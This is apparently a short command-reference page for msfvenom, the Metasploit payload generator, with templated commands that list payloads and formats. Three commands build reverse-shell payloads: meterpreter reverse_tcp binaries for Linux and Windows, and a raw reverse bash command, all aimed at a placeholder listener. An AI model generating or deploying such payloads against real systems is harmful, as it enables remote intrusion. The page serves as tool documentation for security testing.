Manually generate payloads for metasploit. More information: https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom.
msfvenom -l payloads
msfvenom -l formats
msfvenom -p {{payload}} --list-options
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST={{local_ip}} LPORT={{local_port}} -f elf -o {{path/to/binary}}
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST={{local_ip}} LPORT={{local_port}} -f exe -o {{path/to/binary.exe}}
msfvenom -p cmd/unix/reverse_bash LHOST={{local_ip}} LPORT={{local_port}} -f raw